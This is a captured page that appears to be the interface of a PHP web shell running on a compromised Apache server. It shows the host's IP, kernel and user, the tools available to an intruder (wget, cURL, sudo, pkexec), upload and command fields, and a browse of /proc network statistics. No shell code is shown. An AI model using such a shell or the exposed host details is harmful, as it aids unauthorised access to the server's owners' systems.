p!ranha?
Server IP : 103.169.32.36  /  Your IP : 216.73.217.13
Web Server : Apache
System : Linux web.dpmptsp 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/1570/net/stat/

Upload File :
Curr3nt_D!r [ Writeable ] D0cum3nt_r0Ot [ Writeable ]

 
Command :
Current File : /proc/1570/net/stat/rt_cache
entries  in_hit in_slow_tot in_slow_mc in_no_route in_brd in_martian_dst in_martian_src  out_hit out_slow_tot out_slow_mc  gc_total gc_ignored gc_goal_miss gc_dst_overflow in_hlist_search out_hlist_search
00000041  00000000 0000000d 00000000 00000013 00000000 00000000 00000000  00000000 00000013 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
00000041  00000000 00000000 00000000 00000000 00000000 00000000 00000000  00000000 0000000e 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
00000041  00000000 00000000 00000000 00000000 00000000 00000000 00000000  00000000 00000004 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
00000041  00000000 002b81f3 00000000 00000000 00000000 00000000 00000000  00000000 0000000c 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
00000041  00000000 00000000 00000000 00000000 00000000 00000000 00000000  00000000 00000016 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
00000041  00000000 00000000 00000000 00000000 00000000 00000000 00000000  00000000 00000005 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
00000041  00000000 00000000 00000000 00000000 00000000 00000000 00000000  00000000 00000004 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
00000041  00000000 00000000 00000000 00000000 00000000 00000000 00000000  00000000 0000000b 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
00000041  00000000 00000000 00000000 00000000 00000000 00000000 00000000  00000000 00000004 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
00000041  00000000 00000000 00000000 00000000 00000000 00000000 00000000  00000000 00000016 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
00000041  00000000 00000000 00000000 00000000 00000000 00000000 00000000  00000000 00000006 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
00000041  00000000 00000000 00000000 00000000 00000000 00000000 00000000  00000000 00000005 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
00000041  00000000 00000000 00000000 00000000 00000000 00000000 00000000  00000000 0000000b 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
00000041  00000000 00000000 00000000 00000000 00000000 00000000 00000000  00000000 00000006 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
00000041  00000000 00000000 00000000 00000000 00000000 00000000 00000000  00000000 00000016 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
00000041  00000000 00000000 00000000 00000000 00000000 00000000 00000000  00000000 00000004 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
N4m3
5!z3
L45t M0d!f!3d
0wn3r / Gr0up
P3Rm!55!0n5
0pt!0n5
..
--
August 22 2026 22:08:40
0 / 0
0555
arp_cache
0 KB
August 23 2026 10:15:57
0 / 0
0444
ndisc_cache
0 KB
August 23 2026 10:15:57
0 / 0
0444
nf_conntrack
0 KB
August 23 2026 10:15:57
0 / 0
0444
rt_cache
0 KB
August 23 2026 10:15:57
0 / 0
0444